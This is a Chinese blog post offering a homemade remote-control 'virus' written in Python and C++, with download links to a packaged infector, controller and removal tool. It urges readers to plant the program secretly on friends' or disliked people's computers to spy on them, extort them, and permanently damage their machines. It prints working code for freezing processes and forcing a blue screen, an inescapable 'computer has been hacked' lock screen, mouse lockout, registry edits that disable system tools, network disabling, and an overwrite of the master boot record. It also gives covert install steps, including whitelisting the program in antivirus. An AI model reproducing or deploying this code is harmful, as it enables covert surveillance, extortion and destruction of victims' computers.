目录
程序介绍
语言说明
主要功能
说明
效果展示
部分代码展示
安装教程
下载教程
程序介绍
这是一款可以让你随意操控他人电脑的程序,只需要在他人电脑上安装即可获得电脑的控制权。
在后台监视、操控, 无人发现。将它安装在你朋友的电脑上,你就能随时随地的偷看ta的屏幕,窥探ta的隐私。或者在ta工作的时候,偷偷的把电脑关闭。
病毒只包含了少数功能,你可以自己添加你想要的功能。比如修改磁盘MBR,以达到电脑无法正常引导,当ta向你寻求帮助的时候,你就可以趁机敲诈你的朋友。
你也可以在你讨厌的人上安装,添加点恶意功能,以此永久性损坏计算机。让ta重新花几千买台新电脑吧。
当然你也可以隐藏此程序,隐藏至其他进程或者隐藏到系统中,这样你的朋友就永远不会发现。
不过这样会被识别成恶意软件。
语言说明
Python:界面设计、实现大部分功能
C++:实现部分功能,冻结其他进程/计算机系统
主要功能
屏幕监控、远程控制、后台管理、文件管理/获取、鼠标/键盘操控、限制网速(仅限Edge浏览器)、操作注册表、冻结系统、冻结进程
功能菜单
说明
本程序为临时制作,代码或功能不够完善。
完整项目我已经上传至github,欢迎大家优化代码或添加功能。
github地址https://github/Cov-chong/ComputerControl.git我也打包为应用程序,可直接使用,下载教程在最底部。
效果展示
python&c++制作远程病毒控制
部分代码展示
冻结进程
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
// 挂起目标进程的主线程
bool SuspendMainThread(DWORD dwProcessID) {
HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "无法创建线程快照!" << std::endl;
return false;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThreadSnapshot, &te32)) {
std::cerr << "无法获取第一个线程!" << std::endl;
CloseHandle(hThreadSnapshot);
return false;
}
do {
if (te32.th32OwnerProcessID == dwProcessID) {
// 找到目标进程的线程
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te32.th32ThreadID);
if (hThread) {
// 挂起线程
if (SuspendThread(hThread) != -1) {
std::cout << "已挂起线程: " << te32.th32ThreadID << std::endl;
CloseHandle(hThread);
CloseHandle(hThreadSnapshot);
return true;
}
CloseHandle(hThread);
}
}
} while (Thread32Next(hThreadSnapshot, &te32));
CloseHandle(hThreadSnapshot);
std::cerr << "未找到目标进程的主线程!" << std::endl;
return false;
}
int get_pid_by_name(const std::string &process_name) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// 创建一个快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to take process snapshot" << std::endl;
return false;
}
// 遍历所有进程
if (Process32First(hProcessSnap, &pe32)) {
do {
// 如果进程名匹配,打印 PID
if (process_name == pe32.szExeFile) {
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
std::cerr << "Process not found!" << std::endl;
return false;
}
int main() {
std::string process_name = "explorer.exe"; // 要查找的进程名
DWORD pid = get_pid_by_name(process_name);
if (SuspendMainThread(pid)) {
std::cout << "目标进程的主线程已挂起!" << std::endl;
} else {
std::cerr << "挂起目标进程的主线程失败!" << std::endl;
}
return 0;
}
输入指定的进程名后查看pid来冻结进程,你可以更改成其他进程名,例如可以改成微信“WeChat.exe”这样微信就会被冻结。
当然你也可以遍历出当前系统的所有进程并且冻结,这时整个系统就会卡死,什么操作都无法响应,你只能被迫强制关机。
限制网速
def limit_speed():
"""限制网速"""
subprocess.Popen([
"powershell.exe",
"New-NetQosPolicy -Name 'LimitEdgeBandwidth' -ThrottleRateActionBitsPerSecond 1KB -AppPathNameMatchCondition 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'"
], shell=True)
通过添加策略可以限制某个应用程序的网络速度,这里限制的是Microsoft Edge浏览器的速度,如果需要限制更多的应用程序,你可以修改路径为你需要现在的应用程序。
这里是限制为1KB/s,你也可以更改成其他速度。
解除网速限制
def relieve_speed():
"""解除网速限制"""
# 删除带宽限制策略
subprocess.Popen([
"powershell.exe",
"Remove-NetQosPolicy -Name 'LimitEdgeBandwidth' -Confirm:$false"
], shell=True)
系统崩溃/蓝屏
# 调用Windows API使系统崩溃
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.NtRaiseHardError(0xC000021A, 0, 0, 0, 6, ctypes.byref(ctypes.c
运行此代码可以使计算机蓝屏,重启就会恢复,没什么危害。
锁定界面
import psutil
import subprocess
import sys,os,threading
from PyQt6.QtCore import *
from PyQt6.QtWidgets import *
from PyQt6.QtGui import *
import win32gui,win32process,win32con,time,ctypes,psutil,winreg
import uiautomation as automation
targetPassword = "Chong+Lvien*z3333333"
def close_all_processes_by_name(process_name):
# 记录是否有进程被关闭
terminated = False
# 遍历所有运行中的进程
for proc in psutil.process_iter(['pid', 'name']):
try:
# 检查进程名是否匹配
if process_name.lower() in proc.info['name'].lower():
proc.terminate() # 终止进程
print(f"Terminated process: {process_name} with PID {proc.info['pid']}")
terminated = True
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# 处理进程不存在或权限问题
pass
if not terminated:
print(f"No process named {process_name} found.")
class FadeLabel(QLabel):
def __init__(self, parent=None):
self.parent = parent
super().__init__(parent)
self.setAlignment(Qt.AlignmentFlag.AlignCenter)
self.setText("")
self.text_lines = []
self.current_line = 0
self.opacity_effect = QGraphicsOpacityEffect(self)
self.setGraphicsEffect(self.opacity_effect)
self.fade_in_animation = None
self.fade_out_animation = None
self.timer = QTimer(self)
self.timer.setSingleShot(True)
self.timer.timeout.connect(self.next_line)
def set_text(self, text: str):
"""传入多行文本,并初始化控件。"""
self.text_lines = text.split('\n')
self.current_line = 0
self.show_next_line()
def show_next_line(self):
"""显示下一个文本行,包括渐显和渐隐效果。"""
if self.current_line < len(self.text_lines):
# 设置文本
self.setText(self.text_lines[self.current_line])
# 初始化透明度为0
self.opacity_effect.setOpacity(0)
# 创建渐显动画
self.fade_in_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
self.fade_in_animation.setDuration(1000) # 渐显动画1秒
self.fade_in_animation.setStartValue(0)
self.fade_in_animation.setEndValue(1)
self.fade_in_animation.finished.connect(self.start_waiting)
# 启动渐显动画
self.fade_in_animation.start()
def start_waiting(self):
"""等待3秒钟后启动渐隐动画。"""
self.timer.start(3000) # 等待3秒
def next_line(self):
"""完成当前行的渐隐效果后切换到下一行。"""
self.fade_out_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
self.fade_out_animation.setDuration(1000) # 渐隐动画1秒
self.fade_out_animation.setStartValue(1)
self.fade_out_animation.setEndValue(0)
self.fade_out_animation.finished.connect(self.line_fade_out_finished)
# 启动渐隐动画
self.fade_out_animation.start()
def line_fade_out_finished(self):
"""渐隐动画完成,切换到下一行或结束。"""
self.current_line += 1
if self.current_line < len(self.text_lines):
self.show_next_line()
else:
self.setText("") # 所有文本显示完毕
self.parent.show_screen()
class FullScreenWindow(QWidget):
def __init__(self):
super().__init__()
# 获取窗口句柄
self.window_id = int(self.winId()) # 数字
# 根据句柄获取目标窗口
self.window = automation.ControlFromHandle(self.window_id)
# 设置窗口为全屏并去除标题栏
self.setWindowFlags(Qt.WindowType.FramelessWindowHint | Qt.WindowType.WindowStaysOnTopHint)
self.showFullScreen() # 使用 showFullScreen() 进入全屏模式
self.setStyleSheet("background-color: rgb(0, 20, 38);")
# 创建垂直布局管理器
self.layout = QVBoxLayout(self)
self.layout.setAlignment(Qt.AlignmentFlag.AlignCenter)
# 添加文本标签
self.text1 = FadeLabel(self)
# 设置多行文本
text = """嗨,别来无恙啊!\n你的电脑已被锁定"""
self.text1.set_text(text)
self.text1.setStyleSheet("font-size : 40px; color : white;")
self.layout.addWidget(self.text1)
# 初始化颜色
self.start_color = QColor(0, 20, 38) # 初始颜色为黑色
self.end_color = QColor(1, 85, 160) # 目标颜色为蓝色
# 创建QVariantAnimation动画
self.animation = QVariantAnimation(self)
self.animation.setStartValue(self.start_color)
self.animation.setEndValue(self.end_color)
self.animation.setDuration(5000) # 设置动画持续时间为5秒
self.animation.setEasingCurve(QEasingCurve.Type.Linear) # 设置线性过渡
# 连接动画的valueChanged信号
self.animation.valueChanged.connect(self.update_background)
# 动画完成时重新启动
self.animation.finished.connect(self.reverse_animation)
# 启动动画
self.animation.start()
self.activate()
def show_screen(self):
# 显示界面
self.text1.deleteLater()
self.text2 = QLabel("电脑已被锁定", self)
self.text2.setStyleSheet("font-size : 40px; color : white;")
self.layout.addWidget(self.text2)
self.layout.setAlignment(self.text2, Qt.AlignmentFlag.AlignCenter)
self.line1 = QLineEdit(self) # 创建文本框
self.line1.setStyleSheet(
"""
QLineEdit {
background-color: rgba(0, 0, 0, 0); /* 设置背景颜色为完全透明 */
border : none;
border-bottom: 1px solid white; /* 设置1像素的边框,颜色为 #DDDDDD */
color: white; /* 设置文字颜色为 #DDDDDD */
padding: 2px; /* 设置内边距为2像素 */
font-size:18px;
}
"""
)
self.line1.setContextMenuPolicy(Qt.ContextMenuPolicy.NoContextMenu) # 取消掉右键菜单
self.line1.setFixedWidth(300)
self.line1.setFixedHeight(30)
self.line1.setPlaceholderText("密码") # 创建浮现文字
self.line1.setClearButtonEnabled(True) # 启用快速清除
self.line1.setAlignment(Qt.AlignmentFlag.AlignCenter)
self.layout.addWidget(self.line1)
self.layout.setAlignment(self.line1, Qt.AlignmentFlag.AlignCenter)
self.text3 = QLabel("密码错误", self)
self.text3.setStyleSheet("font-size : 16px; color : red;")
self.layout.addWidget(self.text3)
self.layout.setAlignment(self.text3, Qt.AlignmentFlag.AlignCenter)
self.text3.hide()
self.button1 = QPushButton("确定",self)
self.button1.setFixedWidth(80)
self.button1.setFixedHeight(30)
self.button1.clicked.connect(self.submit_password)
self.button1.setCursor(Qt.CursorShape.PointingHandCursor)
self.button1.setStyleSheet('''
QPushButton {
background-color: transparent; /* 设置按钮初始背景颜色 */
border: 0px solid white; /* 设置按钮边框 */
color: white; /* 设置按钮文字颜色 */
padding: 5px 10px;
border-radius: 8px; /* 可选:设置圆角半径 */
font-size : 15px;
}
QPushButton:hover {
background-color: rgba(128, 128, 128, 128); /* 设置鼠标悬停时的背景颜色 */
}
''')
self.layout.addWidget(self.button1)
self.layout.setAlignment(self.button1, Qt.AlignmentFlag.AlignCenter)
def kill_process_by_name(self, exe_name):
close_all_processes_by_name(exe_name)
# 启动 explorer.exe
subprocess.run(["explorer.exe"])
def submit_password(self):
# 提交密码
getPassword = self.line1.text()
if getPassword == targetPassword:
self.close()
self.kill_process_by_name('kl.exe')
else:
self.text3.show()
self.line1.clear() # 清空密码框,避免误操作
def activate(self):
self.timer = QTimer(self)
self.timer.timeout.connect(self.set_window_focus)
self.timer.start(100) # 每100ms激活一次窗口
def set_window_focus(self):
# 将目标窗口设置为活动窗口
self.window.SetFocus() # 将窗口置于前台,激活窗口
def update_background(self, value):
# value为当前动画进度的颜色值
self.setStyleSheet(f"background-color: {value.name()};")
def reverse_animation(self):
# 反转颜色
self.start_color, self.end_color = self.end_color, self.start_color
# 重新设置动画并启动
self.animation.setStartValue(self.start_color)
self.animation.setEndValue(self.end_color)
self.animation.setDuration(5000) # 设置动画持续时间为5秒
self.animation.setEasingCurve(QEasingCurve.Type.Linear) # 设置线性过渡
self.animation.start()
# 启动应用
def start():
app = QApplication(sys.argv)
window = FullScreenWindow()
sys.exit(app.exec())
start()
这是入侵计算机后锁定的界面,是可以输入密码退出的,但在原版的病毒中是没有的并且鼠标和键盘是被锁定了的。你可以自己修改成你想要的界面。
下面是修改后的,无法退出。
import os,socket
import sys
import psutil
import subprocess
import threading
from PyQt6.QtCore import *
from PyQt6.QtWidgets import *
from PyQt6.QtGui import *
targetPassword = "Chong+Lvien*z3333333"
def close_all_processes_by_name(process_name):
terminated = False
for proc in psutil.process_iter(['pid', 'name']):
try:
if process_name.lower() in proc.info['name'].lower():
proc.terminate()
print(f"Terminated process: {process_name} with PID {proc.info['pid']}")
terminated = True
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
if not terminated:
print(f"No process named {process_name} found.")
class FadeLabel(QLabel):
def __init__(self, parent=None):
self.parent = parent
super().__init__(parent)
self.setAlignment(Qt.AlignmentFlag.AlignCenter)
self.setText("")
self.text_lines = []
self.current_line = 0
self.opacity_effect = QGraphicsOpacityEffect(self)
self.setGraphicsEffect(self.opacity_effect)
self.fade_in_animation = None
self.fade_out_animation = None
self.timer = QTimer(self)
self.timer.setSingleShot(True)
self.timer.timeout.connect(self.next_line)
def set_text(self, text: str):
self.text_lines = text.split('\n')
self.current_line = 0
self.show_next_line()
def show_next_line(self):
if self.current_line < len(self.text_lines):
self.setText(self.text_lines[self.current_line])
self.opacity_effect.setOpacity(0)
self.fade_in_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
self.fade_in_animation.setDuration(1000)
self.fade_in_animation.setStartValue(0)
self.fade_in_animation.setEndValue(1)
self.fade_in_animation.finished.connect(self.start_waiting)
self.fade_in_animation.start()
def start_waiting(self):
self.timer.start(3000)
def next_line(self):
self.fade_out_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
self.fade_out_animation.setDuration(1000)
self.fade_out_animation.setStartValue(1)
self.fade_out_animation.setEndValue(0)
self.fade_out_animation.finished.connect(self.line_fade_out_finished)
self.fade_out_animation.start()
def line_fade_out_finished(self):
self.current_line += 1
if self.current_line < len(self.text_lines):
self.show_next_line()
else:
self.setText("")
self.parent.show_screen()
class FullScreenWindow(QWidget):
def __init__(self):
super().__init__()
# 设置窗口为全屏并去除标题栏
self.setWindowFlags(Qt.WindowType.FramelessWindowHint | Qt.WindowType.WindowStaysOnTopHint)
self.showFullScreen()
# 初始化背景颜色
self.start_color = QColor(0, 20, 38)
self.end_color = QColor(1, 85, 160)
self.current_background = "color" # 当前背景类型:color 或 image
# 创建垂直布局管理器
self.layout = QVBoxLayout(self)
self.layout.setAlignment(Qt.AlignmentFlag.AlignCenter)
# 添加文本标签
self.text1 = FadeLabel(self)
text = """嗨,别来无恙啊!\n你的电脑已被入侵"""
self.text1.set_text(text)
self.text1.setStyleSheet("font-size : 40px; color : white; background-color : transparent;")
self.layout.addWidget(self.text1)
# 创建QVariantAnimation动画
self.animation = QVariantAnimation(self)
self.animation.setStartValue(self.start_color)
self.animation.setEndValue(self.end_color)
self.animation.setDuration(5000)
self.animation.setEasingCurve(QEasingCurve.Type.Linear)
self.animation.valueChanged.connect(self.update_background)
self.animation.finished.connect(self.reverse_animation)
self.animation.start()
# 设置定时器,每3秒显示一次图片
self.image_timer = QTimer(self)
self.image_timer.timeout.connect(self.show_image)
self.image_timer.start(5000) # 每3秒触发一次
# 设置定时器,每100ms激活一次窗口
self.activate_timer = QTimer(self)
self.activate_timer.timeout.connect(self.set_window_focus)
self.activate_timer.start(100)
def show_image(self):
try:
# 加载图片
image_path = "C:\\Windows\\PLA\\g.jpg" # 替换为你的图片路径
if os.path.exists(image_path):
pixmap = QPixmap(image_path)
self.set_background_image(pixmap)
# 0.5秒后恢复渐变背景
QTimer.singleShot(300, self.restore_background_color)
except:
pass
def set_background_image(self, pixmap):
# 设置背景图片
palette = self.palette()
palette.setBrush(QPalette.ColorRole.Window, QBrush(pixmap))
self.setPalette(palette)
self.current_background = "image"
def restore_background_color(self):
# 恢复渐变背景
self.setStyleSheet(f"background-color: {self.start_color.name()};")
self.current_background = "color"
self.animation.start() # 重新启动渐变动画
def update_background(self, value):
if self.current_background == "color":
self.setStyleSheet(f"background-color: {value.name()};")
def show_screen(self):
self.text1.deleteLater()
self.text2 = QLabel("电脑已被入侵", self)
self.text2.setStyleSheet("font-size : 40px; color : red; background-color : transparent;")
self.layout.addWidget(self.text2)
self.layout.setAlignment(self.text2, Qt.AlignmentFlag.AlignCenter)
def set_window_focus(self):
# 将窗口置于最上层
self.raise_()
self.activateWindow()
def reverse_animation(self):
self.start_color, self.end_color = self.end_color, self.start_color
self.animation.setStartValue(self.start_color)
self.animation.setEndValue(self.end_color)
self.animation.setDuration(5000)
self.animation.setEasingCurve(QEasingCurve.Type.Linear)
self.animation.start()
# 启动应用
def start():
app = QApplication(sys.argv)
window = FullScreenWindow()
sys.exit(app.exec())
def prevent_multiple_instances(port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.bind(('127.0.0.1', port))
except socket.error:
sys.exit(1)
finally:
sock.close()
if __name__ == "__main__":
port = 37373 # 指定端口号
prevent_multiple_instances(port)
start()
锁定鼠标
#include <windows.h>
#include <iostream>
// 全局钩子句柄
HHOOK g_hMouseHook = NULL;
// 鼠标钩子回调函数
LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
// 拦截所有鼠标消息
return 1; // 返回非零值表示阻止消息传递
}
return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
int main() {
// 安装鼠标钩子
g_hMouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc, NULL, 0);
if (!g_hMouseHook) {
std::cerr << "无法安装鼠标钩子!" << std::endl;
return 1;
}
std::cout << "鼠标钩子已安装,鼠标事件将被拦截!" << std::endl;
// 消息循环
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// 卸载鼠标钩子
UnhookWindowsHookEx(g_hMouseHook);
std::cout << "鼠标钩子已卸载,鼠标事件恢复正常!" << std::endl;
return 0;
}
通过添加鼠标钩子来拦截鼠标的事件,以此达到鼠标无法使用。不过在安全性比较高的计算机中打开任务管理器鼠标是会恢复的。因为任务管理器的优先级高。还有一些键盘锁定也无法拦截安全选项的快捷键【Ctrl + Alt + Del】。如果你确实需要完全拦截,你可以直接卸载驱动。
还有一些注册表的修改,例如禁用任务管理器,禁用注册表编辑器,禁用命令提示符等就不一一展示了。
def disable_cmd():
"""禁用命令提示符"""
key_path = r"Software\Policies\Microsoft\Windows\System"
value_name = "DisableCMD"
try:
key = reg.CreateKey(reg.HKEY_CURRENT_USER, key_path)
reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 1)
reg.CloseKey(key)
except Exception as e:
pass
def enable_cmd():
"""启用命令提示符"""
key_path = r"Software\Policies\Microsoft\Windows\System"
value_name = "DisableCMD"
try:
key = reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)
reg.CloseKey(key)
except FileNotFoundError:
pass
except Exception as e:
pass
def disable_compmgmt():
"""禁用计算机管理"""
key_path = r"Software\Policies\Microsoft\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033}"
value_name = "Restrict_Run"
try:
key = reg.CreateKey(reg.HKEY_CURRENT_USER, key_path)
reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 1)
reg.CloseKey(key)
except Exception as e:
pass
def enable_compmgmt():
"""启用计算机管理"""
key_path = r"Software\Policies\Microsoft\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033}"
value_name = "Restrict_Run"
try:
key = reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)
reg.CloseKey(key)
except FileNotFoundError:
pass
except Exception as e:
pass
def disable_regedit():
"""禁用注册表编辑器"""
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
value_name = "DisableRegistryTools"
try:
key = reg.CreateKey(reg.HKEY_CURRENT_USER, key_path)
reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 1)
reg.CloseKey(key)
except Exception as e:
pass
def enable_regedit():
"""启用注册表编辑器"""
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
value_name = "DisableRegistryTools"
try:
key = reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)
reg.CloseKey(key)
except FileNotFoundError:
pass
except Exception as e:
pass
当然你也可以禁用设置,使用户无法打开设置界面。这样你可以修改它的背景图片,但又不能改回去(虽然不用设置也有其他的方法可以改)。
def disable_settings():
"""禁用设置"""
# 打开注册表项
key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", 0, reg.KEY_WRITE)
# 设置值以禁用控制面板
reg.SetValueEx(key, "NoControlPanel", 0, reg.REG_DWORD, 1)
# 关闭注册表项
reg.CloseKey(key)
def enable_settings():
"""启用设置"""
# 打开注册表项
key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", 0, reg.KEY_WRITE)
# 删除或重置值以恢复控制面板
try:
reg.DeleteValue(key, "NoControlPanel")
except FileNotFoundError:
pass
# 关闭注册表项
reg.CloseKey(key)
其实可以禁用的也有很多。比如你可以禁用右键菜单。这样在系统桌面上就不能使用右键菜单。在任务栏上也是。也可以修改一些系统设置和本地组策略等。这样让你的朋友在迷茫中吧,“为什么我的右键菜单用不了?”。也可以只拦截点击事件,让你的朋友一直点点点,以为是鼠标烂掉了。
禁用网络
def disable_network_adapter():
"""禁用所有网络适配器"""
adapters = get_all_adapters()
if not adapters:
return
for adapter in adapters:
try:
subprocess.Popen(f'netsh interface set interface "{adapter}" disable', shell=True, check=True)
except subprocess.CalledProcessError as e:
pass
def enable_network_adapter():
"""启用所有网络适配器"""
adapters = get_all_adapters()
if not adapters:
return
for adapter in adapters:
try:
subprocess.Popen(f'netsh interface set interface "{adapter}" enable', shell=True, check=True)
except subprocess.CalledProcessError as e:
pass
禁用网络只是把网络适配器禁用了而已,不过禁用以后你和被控制端是会失去连接的。
剩下的就没什么可以说的了,需要什么功能的你也可以自己添加。什么恶意功能,恶搞功能都可以。
拓展功能
破坏MRB
#include <windows.h>
#include <iostream>
#include <fstream>
void ModifyMBR(const std::wstring& diskPath) {
// 使用 CreateFileW 打开磁盘
HANDLE hDisk = CreateFileW(diskPath.c_str(), GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open disk. Error: " << GetLastError() << std::endl;
return;
}
// MBR 中的引导代码区大小是 446 字节
BYTE mbr[512] = { 0 };
// 破坏引导代码区域,将前446字节设置为无效的操作指令(0x00)
for (int i = 0; i < 446; i++) {
mbr[i] = 0x00; // 设置为无效代码
}
// 修改分区表,使其指向一个无效的分区(比如设置不合法的启动标志)
// 将活动标志改为0x00(无分区活动)
mbr[0x1BE] = 0x00; // 第一个分区的活动标志设置为0,表示没有活动分区
// 设置魔术数字 0x55AA(MBR的结尾),保持不变,表明是有效的MBR结构
mbr[510] = 0x55;
mbr[511] = 0xAA;
DWORD bytesWritten;
BOOL success = WriteFile(hDisk, mbr, sizeof(mbr), &bytesWritten, NULL);
if (!success) {
std::cerr << "Failed to write MBR. Error: " << GetLastError() << std::endl;
} else {
std::cout << "Successfully modified the MBR to prevent booting." << std::endl;
}
CloseHandle(hDisk);
}
int main() {
// 修改磁盘的 MBR(确保选择正确的磁盘路径)
std::wstring diskPath = L"\\\\.\\PhysicalDrive0"; // 物理驱动器0, 请根据实际情况修改
ModifyMBR(diskPath);
return 0;
}
安装教程
首先你需要一个病毒部署的应用程序
这个是我已经打包好的了。
现在在你需要感染的计算机上下载,或者传输到计算机上。
紧接着运行此应用程序。
你将看到一个命令行窗口,并且要求你输入ip地址。
这个地址是需要你输入控制端的地址,如果是局域网直接输入ip地址就行。如果不是你可以使用内网穿透进行链接。如果不会的可以出个教程。当然如果你有公网地址也行。
例如如果你需要在ip为192.168.10.108上控制此电脑,就输入192.168.10.108。这是局域网内的。
此时就会修改注册表。如果你有杀毒软件则会被拦截。需要点击允许操作。
修改完以后你需要在杀毒软件中添加信任操作,还要添加自动处理。
上面的视频中有完整的过程。
注销完以后病毒就能生效。你也可以不注销,下次注销/重启后也可以。
还有一个是解毒程序。需要以管理员身份运行。不过这是以前的解毒程序。现在加了点文件,文件会没有删干净,不过问题不大。源代码也没了,懒得写了,想写的自己写吧。
下载教程
如果你不想自己打包,或者看不懂源码。你可以下载我已经打包好的应用程序。
我已经上传到我的超星课程了。
详看:https://blog.csdn/2301_76542477/article/details/149032632?spm=1011.2415.3001.5331
搜索关键字:远程控制
其中“Monitoring Terminal.zip”是控制端
“Intrude.exe”是感染程序
“Detoxify.exe”是解毒程序
发布评论